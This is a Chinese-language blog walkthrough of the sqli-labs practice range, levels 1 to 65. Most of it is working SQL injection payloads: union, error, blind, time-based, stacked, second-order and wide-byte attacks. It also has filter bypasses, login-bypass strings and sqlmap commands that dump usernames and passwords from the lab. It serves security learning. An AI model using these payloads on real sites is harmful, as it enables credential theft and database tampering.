工具
HackBar
BurpSuite v2.1
目录
基础挑战
Less-1
下面我将以第一关为例,使用四种注入手法
联合查询
http://114.55.107.51/sqli-labs/Less-1/?id=-1' union select 1,2,3--+
查表
…select table_name from information_schema.tables where table_schema=database() limit 3,1…
查表中字段
…select column_name from information_schema.columns where table_name = users and table_schema = database() limit 1,1…
查数据
…select group_concat(username,id,password) from users…
报错注入(一)
http://192.168.1.200/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select concat(username,password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
… and updatexml(1,concat('^',version(),'^'),1)--+
布尔盲注
http://192.168.1.200/sqli-labs/Less-1/?id=1' and length(database())=8--+
延时注入
http://114.55.107.51/sqli-labs/Less-1/?id=1' and sleep(4)--+
?id=1' and if(length(database())=8,1,sleep(5))--+
sqlmap
联合查询注入
sqlmap -u "http://192.168.1.200/sqli-labs/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --dbs
报错注入
sqlmap -u "http://192.168.1.200/sqli-labs/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs
布尔盲注
sqlmap -u "http://192.168.1.200/sqli-labs/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --dbs
延时注入
sqlmap -u "http://192.168.1.200/sqli-labs/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs
Less-2
请求方式 get
闭合方式 无闭合
攻击测试 ?id=-1 union select 1,2,version()--+
注入方式 联合,报错,布尔,延时
Less-3
请求方式 get
闭合方式 ')
攻击测试 ?id=-1') union select 1,2,version()--+
注入方式 联合,报错,布尔,延时
Less-4
请求方式 get
闭合方式 ")
攻击测试 ?id=-1") union select 1,2,version()--+
注入方式 联合,报错,布尔,延时
Less-5
请求方式 get
闭合方式 '
攻击测试 ?id=1' and updatexml(1,concat('^',version(),'^'),1)--+
注入方式 报错,布尔,延时
Less-6
请求方式 get
闭合方式 "
攻击测试 ?id=1" and updatexml(1,concat('^',version(),'^'),1)--+
注入方式 报错,布尔,延时
Less-6
请求方式 get
闭合方式 "
攻击测试 ?id=1" and updatexml(1,concat('^',version(),'^'),1)--+
注入方式 报错,布尔,延时
Less-7
请求方式 get
闭合方式 '))
攻击测试 ?id=1')) and 1=2--+
注入方式 布尔,延时
Less-8
请求方式 get
闭合方式 '
攻击测试 ?id=1' and 1=2--+
注入方式 布尔,延时
Less-9
请求方式 get
闭合方式 '
攻击测试 ?id=1' and sleep(4)--+
注入方式 延时
Less-10
请求方式 get
闭合方式 "
攻击测试 ?id=1" and sleep(4)--+
注入方式 延时
Less-11
请求方式 post
闭合方式 '
注入方式
POST 数据里面不能有 +,故'--+'改为'-- '
联合查询
uname=-1' union select 1,version()#&passwd=&submit=Submit
报错注入
uname=1' and updatexml(1,concat('^',version(),'^'),1)-- &passwd=&submit=Submit
布尔盲注
uname=admin' and length(database())=8#&passwd=&submit=Submit
由于这里我们要通过是否登录成功来判断布尔状态,如果后面字段的值为真,登录成功,否则登录失败
延时注入
uname=admin' and if(length(database())=8,1,sleep(5))#&passwd=&submit=Submit
sqlmap
创建post.txt 文件
使用bp抓包,获取http请求数据包
联合注入
sqlmap -r post.txt --dbms=MySQL --random-agent --flush-session --technique=U -v 3
报错注入
sqlmap -r post.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3
布尔盲注
sqlmap -r post.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3
延时注入
sqlmap -r post.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3
万能密码
法一:
uname=admin'-- &passwd=admin&submit=Submit
uname=admin'#&passwd=&submit=Submit
法二:
uname=admin&passwd=1' or 1-- &submit=Submit
uname=admin&passwd=1'||1-- &submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit
法三:
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit
Less-12
请求方式 post
闭合方式 ")
攻击测试 uname=-1") union select 1,version()#&passwd=&submit=Submit
注入方式 联合,报错,布尔,延时
Less-13
请求方式 post
闭合方式 ')
攻击测试 uname=1') and updatexml(1,concat('^',version(),'^'),1)#&passwd=&submit=Submit
注入方式 报错,布尔,延时
Less-14
请求方式 post
闭合方式 "
攻击测试 uname=1" and updatexml(1,concat('^',version(),'^'),1)#&passwd=&submit=Submit
注入方式 报错,布尔,延时
Less-15
请求方式 post
闭合方式 '
攻击测试 uname=admin' and 1=2#&passwd=&submit=Submit
注入方式 布尔,延时
Less-16
请求方式 post
闭合方式 ")
攻击测试 uname=admin") and sleep(4)#&passwd=&submit=Submit
注入方式 延时
Less-17
代码审计
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
$row1 = $row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
发现只要输入正确的用户名,passwd字段就可以进行注入
请求方式 post
闭合方式 '
攻击测试 uname=admin&passwd=1' and updatexml(1,concat('^',database(),'^'),1)#&submit=Submit
注入方式 报错
Less-18
请求方式 post
闭合方式 '
注入方式 报错
注入点 U-A字段
Less-19
请求方式 post
闭合方式 '
注入方式 报错
注入点 referer字段
Less-20
请求方式 post
闭合方式 '
注入方式 联合,报错,布尔,延时
注入点 cookie字段
攻击测试 1' union select 1,2,version()#
如何抓取cookie包
1、首先开启bp代理模式,输入正确的用户名密码登录[admin:admin]
2、使用bp抓包,将第一个post请求(携带账户面密码)的包放过
3、等待一会,带有cookie的包会自动出现
Less-21
请求方式 post
闭合方式 ')
注入方式 联合,报错,布尔,延时
注入点 cookie字段(经过Base-64编码)
攻击测试 1' union select 1,2,version()#
Base-64编码之后 dW5hbWU9MScpIHVuaW9uIHNlbGVjdCAxLDIsdmVyc2lvbigpIw==
Less-22
请求方式 post
闭合方式 "
注入方式 报错,布尔,延时
注入点 cookie字段(经过Base-64编码)
攻击测试 1" and updatexml(1,concat('^',database(),'^'),1)#
Base-64编码之后 MSIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnXicsZGF0YWJhc2UoKSwnXicpLDEpIw==
高级注入
Less-23
if(isset($_GET['id']))
{
$id=$_GET['id'];
//过滤# 和 --+
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
请求方式 get
闭合方式 '
攻击测试 ?id=-1' union select 1,version(),3 and '1'='1
注入方式 联合,报错,布尔,延时
Less-24
二次注入问题
二次注入 简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。
源码分析
login.php
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
if ($row[1]) {
return $row[1];
}
index.php
if (isset($_SESSION['username']) && isset($_COOKIE['Auth'])) {
header('Location: logged-in.php');
}
<form name="login" method="POST" action="login.php">
logged-in.php
if (!isset($_COOKIE["Auth"])){
if (!isset($_SESSION["username"])){
header('Location: index.php');
}
header('Location: index.php');
}
<form name="mylogin" method="POST" action="pass_change.php">
new_user.php
<form name="mylogin" method="POST" action="login_create.php">
login_create.php
//创建用户
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
判断该用户是否已存在,若存在提示重新输入
$sql = "select count(*) from users where username='$username'";
$row = mysql_fetch_row($res);
if (!$row[0]== 0){
} else {
if ($pass==$re_pass){
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
}else{}
}
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
pass_change.php
if($pass==$re_pass){
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
if($row==1){
echo "Password successfully updated";
}
else{
header('Location: failed.php');
}
}else{
header('refresh:2, url=index.php');
}
攻击思路
1、创建用户 【admin'#】
此时数据库
2、以用户【admin'#】登录成功
3、修改密码,
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
此时更新密码的sql语句就变为
UPDATE users SET PASSWORD='$pass' where username='admin'#' nd password='$curr_pass'
此时实际上我们会将【admin】用户的密码修改
Less-25
源码分析
if(isset($_GET['id'])){
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else{
print_r(mysql_error());
}
}
function blacklist($id){
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
这里过滤了 or 和 and
双写嵌套绕过
password 可写成 passwoorrd
and 可写成 aandnd
关键字替换
or -> ||
and -> &&
请求方式 get
闭合方式 '
攻击测试
?id=-1' union select 1,2,3--+
?id=1' aandnd 1=2--+
?id=1' aandnd updatexml(1,concat('^',database(),'^'),1)--+
注入方式 联合,报错,布尔,延时
Less-25a
和上一个类似
区别 闭合方式不同,没有报错信息输出
请求方式 get
闭合方式 数字型
攻击测试
?id=-1 union select 1,2,3--+
?id=1 aandnd 1=2--+
注入方式 联合,布尔,延时
Less-26
过滤规则
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out 斜线
return $id;
}
请求方式 get
闭合方式 '
攻击测试 ?id=-1'%a0union%a0select%a01,2,3%a0aandnd%a0'1'='1
注入方式 联合,报错布尔,延时
Less-26a
请求方式 get
闭合方式 ')
攻击测试 ?id=-1')%a0union%a0select%a01,2,3%a0aandnd%a0'1'='1
注入方式 联合,报错,布尔,延时
Less-27
过滤规则
function blacklist($id){
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
请求方式 get
闭合方式 '
攻击测试 ?id=-1'uniOn%0bsElect%0b1,2,3 ||'1
注入方式 联合,报错,布尔,延时
Less-27a
请求方式 get
闭合方式 "
攻击测试 ?id=-1"uniOn%0bsElect%0b1,2,3 ||'1
注入方式 联合,布尔,延时
Less-28
过滤规则
function blacklist($id){
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
这里过滤了空格可以使用前面的编码绕过,过滤了注释,可使用闭合绕过,过滤了UNION+SELECT可以使用双写嵌套绕过也可以使用编码代替+
请求方式 get
闭合方式 ')
攻击测试 ?id=-1') union%0bselect%0b1,2,3 ||('1')=('2
注入方式 联合,布尔,延时
Less-28a
过滤规则比上一个还少
请求方式 get
闭合方式 ')
攻击测试 ?id=-1') union%0bselect%0b1,2,3 ||('1')=('2
注入方式 联合,布尔,延时
Less-29
index.php
if(isset($_GET['id'])){
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if($row){
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else{
print_r(mysql_error());
}
}
分析代码就是简单sql模型,直接联合走一波
payload
?id=-1' union select 1,2,(select group_concat(username,password) from users)--+
login.php
if(isset($_GET['id'])){
$qs = $_SERVER['QUERY_STRING']; //获取?后面的值
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//再次过滤检查
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if($row){
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}else {
print_r(mysql_error());
}
}
function java_implimentation($query_string){
$q_s = $query_string;
// & 作为分隔符,分割字符串
$qs_array= explode("&",$q_s);
// 遍历数组
foreach($qs_array as $key => $value)
}
$val=substr($value,0,2);
//如果前两位是id
if($val=="id"){
//截取3-30位作为id的值
$id_value=substr($value,3,30);
return $id_value;
break;
}
function whitelist($input){
//过滤规则 检测数字
$match = preg_match("/^\d+$/", $input);
if($match){}
else{
//不符合规则
header('Location: hacked.php');
}
}
我们发现有两次过滤whitelist和java_implimentation
whitelist 过滤是比较严格的,如果 id 不是数字的话就会直接重定向到 hacked.php,这里是没问题的,0而问题出在了前面的函数java_implimentation($qs)
分析其逻辑,发现在检测道第一个id的时候,因为 return 表示了函数的结束运行,所以这个函数捕捉到 id 的时候就会返回 return $id_value,这样,如果我们还构造一组id的话,后面的 id 就会绕过函数检测。
请求方式 get
闭合方式 '
注入方式 联合,布尔,延时
payload
?id=1&id=-1' union select 1,2,(select group_concat(username,password) from users)--+
Less-30
和上一关相似,只是闭合方式不同
请求方式 get
闭合方式 "
注入方式 联合,布尔,延时
index.php
payload
?id=-1" union select 1,2,(select group_concat(username,password) from users)--+
login.php
payload
?id=1&id=-1" union select 1,2,(select group_concat(username,password) from users)--+
Less-31
和上一关相似,只是闭合方式不同
请求方式 get
闭合方式 ")
注入方式 联合,布尔,延时
index.php
payload
?id=-1") union select 1,2,(select group_concat(username,password) from users)--+
login.php
payload
?id=1&id=-1") union select 1,2,(select group_concat(username,password) from users)--+
Less-32
源码分析
if(isset($_GET['id'])){
$id=check_addslashes($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
}
//在 ' " / 敏感字符前加反斜杠
function check_addslashes($string){
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
$string = preg_replace('/\'/i', '\\\'', $string);
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
通过分析,我们得知其防御措施是在特殊字符(' " /) 前加反斜杠,绕过姿势:
宽字节注入,使用%df 吃掉 \ 或 将 \' 中的 \ 过滤掉
请求方式 get
闭合方式 '
注入方式 联合,报错,布尔,延时
攻击测试
?id=-1%df' union select 1,2,(select group_concat(username,password) from users)--+
Less-33
源码分析
if(isset($_GET['id'])){
$id=check_addslashes($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
}
function check_addslashes($string){
$string= addslashes($string);
return $string;
}
addslashes()函数作用将预定义字符 ' " \ 转义为 \' \" \\
和上题类似,使用宽字节绕过
请求方式 get
闭合方式 '
注入方式 联合,报错,布尔,延时
攻击测试
?id=-1%df' union select 1,2,(select group_concat(username,password) from users)--+
注:要想防御宽字节注入,在使用 addslashes()时,我们需要将 mysql_query 设置为 binary 的方式
Less-34
与上一题类似,只是请求方式有get变为post
请求方式 post
闭合方式 '
注入方式 联合,报错,布尔,延时
攻击测试
uname=%df' and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#&passwd=&submit=Submit
admin%df' and updatexml(1,concat('^',database(),'^'),1)#
Less-35
源码分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
function check_addslashes($string){
$string = addslashes($string);
return $string;
}
注入方式数字型,这个防护方式就有点。。。
请求方式 get
闭合方式 数字型
注入方式 联合,报错,布尔,延时
攻击测试
?id=-1 union select 1,2,(select group_concat(username,password) from users)--+
Less-36
源码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//转义危险字符 ' " / 为 /' /" //
function check_quotes($string){
$string= mysql_real_escape_string($string);
return $string;
}
依然可以使用前面几关的思路,使用宽字节绕过
请求方式 get
闭合方式 '
注入方式 联合,报错,布尔,延时
攻击测试
?id=-1%df' union select 1,2,(select group_concat(username,password) from users)--+
Less-37
与上一关类似,只是请求方式发生变化
请求方式 post
闭合方式 '
注入方式 联合,报错,布尔,延时
攻击测试
uname=%df' and 1=2 union select 1,(select group_concat(username,password) from users)#&passwd=&submit=Submit
叠加注入
Less-38
堆叠注入原因:mysqli_multi_query 函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。
请求方式 get
闭合方式 '
注入方式 联合,报错,布尔,延时,堆叠
攻击测试 ?id=-1' union select 1,2,version()--+
我们也可以使用以下payload来创建一个新用户
?id=1';insert into users(username,password) values ('hello','world');
Less-39
与38关类似,区别在于闭合方式为 数字型注入
请求方式 get
闭合方式 数字型
注入方式 联合,报错,布尔,延时,堆叠
Less-40
与38关类似,区别在于闭合方式不同
请求方式 get
闭合方式 ')
注入方式 联合,报错,布尔,延时,堆叠
Less-41
与39关类似,区别在于没有报错输出,不能使用报错注入
请求方式 get
闭合方式 数字型
注入方式 联合,布尔,延时,堆叠
Less-42
源码分析
其他几个文件没有什么有用的利用点,但是在login.php 中存在明显漏洞
虽然在pass_change.php中存在明显的二次注入漏洞,但是本题无法创建新用户,该漏洞自然无法利用了
login.php
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
这里面的password字段没有进行过滤,有报错输出,可以使用常规注入手法(联合,报错,布尔,延时)注入,而且还支持堆叠查询,也可使用堆叠注入
万能密码绕过
1' or 1#
请求方式 post
闭合方式 '
注入方式 联合,报错,布尔,延时,堆叠
攻击测试
login_user=admin&login_password=1' union select 1,version(),3#&mysubmit=Login
login_user=admin&login_password=1' and updatexml(1,concat('^',database(),'^'),1)#&mysubmit=Login
Less-43
与42关类似,只是拼接方式不同
请求方式 post
闭合方式 ')
注入方式 联合,报错,布尔,延时,堆叠
Less-44
与42关类似,只是拼接方式不同,且没有错误消息输出,无法使用报错在注入
请求方式 post
闭合方式 '
注入方式 联合,布尔,延时,堆叠
Less-45
与44关类似,只是拼接方式不同
请求方式 post
闭合方式 ')
注入方式 联合,布尔,延时,堆叠
Less-46
order by
与常规的where后的注入不同,order by无法使用union联合查询注入方式
验证
rand()验证
?sort=rand(1) 与 ?sort=rand(0)的结果时不一致的,利用这一点,我们可以构造布尔盲注和延时注入
延时验证
?sort=1 and sleep(4)
请求方式 get
闭合方式 数字型
注入方式 报错,布尔,延时
报错注入
利用order by重复键冲突
?sort=1 and (select 1 from (select count(*),concat((select version()),floor(rand(0)*2))x from information_schema.tables group by x)a)
利用 procedure analyse 参数,也可以执行报错注入
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
布尔盲注
?sort=rand(length(database())=9)
延时注入
?sort=rand(if(length(database())=8,1,sleep(1)))
?sort=1 and if(length(database())=9,1,sleep(1))
Less-47
与46关类似,只是拼接方式不同
请求方式 get
闭合方式 '
注入方式 报错,布尔,延时
Less-48
与46关类似,只是少了报错输出,不能使用报错注入
请求方式 get
闭合方式 数字型
注入方式 布尔,延时
Less-49
与47关类似,只是少了报错输出,不能使用报错注入
请求方式 get
闭合方式 '
注入方式 布尔,延时
Less-50
与46关类似,只是询方式由 mysql_query 变成了 mysqli_multi_query,可以使用堆叠注入
请求方式 get
闭合方式 数字型
注入方式 报错,布尔,延时,堆叠
Less-51
与50关类似,只是拼接方式不同
请求方式 get
闭合方式 '
注入方式 报错,布尔,延时,堆叠
Less-52
与50关类似,只是少了报错输出,不能使用报错注入
请求方式 get
闭合方式 数字型
注入方式 布尔,延时,堆叠
Less-53
与51关类似,只是少了报错输出,不能使用报错注入
请求方式 get
闭合方式 '
注入方式 布尔,延时,堆叠
进阶挑战
Less-54
请求方式 get
闭合方式 '
注入方式 联合,报错,布尔,延时
限定了注入次数为10次
测试
?id=-1' union select 1,2,3--+
查表名
?id=-1' union select 1,(select group_concat(table_name separator 0x3c62723e) from information_schema.tables where table_schema=database()),database()--+
查的表:1mwm7h77nb(表名随机)
查字段名
?id=-1' union select 1,(select group_concat(column_name separator 0x3c62723e) from information_schema.columns where table_schema=database() and table_name='1mwm7h77nb'),3--+
得到表中字段值:id,sessid,secret_BKSM,tryy
拿到key
?id=-1' union select 1,(select secret_BKSM from 1mwm7h77nb),3--+
拿到key值:AoGFcuhtdypPohxGFJxRWXBO
提交key
Less-55
测试
?id=-1) union select 1,2,3--+
与上一关类似,区别在于闭合方式不同
Less-56
测试
?id=-1') union select 1,2,3--+
与上一关类似,区别在于闭合方式不同
Less-57
测试
?id=-1" union select 1,2,3--+
与上一关类似,区别在于闭合方式不同
Less-58
源码分析
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
print_r(mysql_error()); //可以进行报错注入
对输出做了调整,使用联合查询注入得不到我们想要的信息了
请求方式 get
闭合方式 '
注入方式 报错,布尔,延时
测试
?id=1' and updatexml(1,concat('^',database(),'^'),1)--+
其他的与54关类似
Less-59
和58关类似,只是闭合方式不一样
请求方式 get
闭合方式 数字型
注入方式 报错,布尔,延时
测试
?id=1 and updatexml(1,concat('^',database(),'^'),1)--+
Less-60
和58关类似,只是闭合方式不一样
请求方式 get
闭合方式 ")
注入方式 报错,布尔,延时
测试
?id=1") and updatexml(1,concat('^',database(),'^'),1)--+
Less-61
和58关类似,只是闭合方式不一样
请求方式 get
闭合方式 '))
注入方式 报错,布尔,延时
测试
?id=1')) and updatexml(1,concat('^',database(),'^'),1)--+
Less-62
没有了报错输出,报错注入失效,只能使用布尔和延时了,这里的具体攻击手法我就不做过多赘述了,当然这里使用工具跑才是最省事的了
请求方式 get
闭合方式 ')
注入方式 布尔,延时
Less-63
和62关类似,只是闭合方式不一样
请求方式 get
闭合方式 '
注入方式 布尔,延时
Less-64
和62关类似,只是闭合方式不一样
请求方式 get
闭合方式 ))
注入方式 布尔,延时
Less-65
和62关类似,只是闭合方式不一样
请求方式 get
闭合方式 ")
注入方式 布尔,延时
以前一直没有刷完的题目,通过写博客的方式就逼自己一把刷完了,效果显著 2333,这种学习记录贴会长期记录下去的。实际上 sqlmap 也很强大,尤其是在盲注这一块效率比手工要快很多,但是手工注入的重要性也是无可替代的,还是系统的学习掌握一下的,手工注入在存在联合和报错注入的情况下,注入速度也是不低于 sqlmap 的。
参考资料
SQL注入天书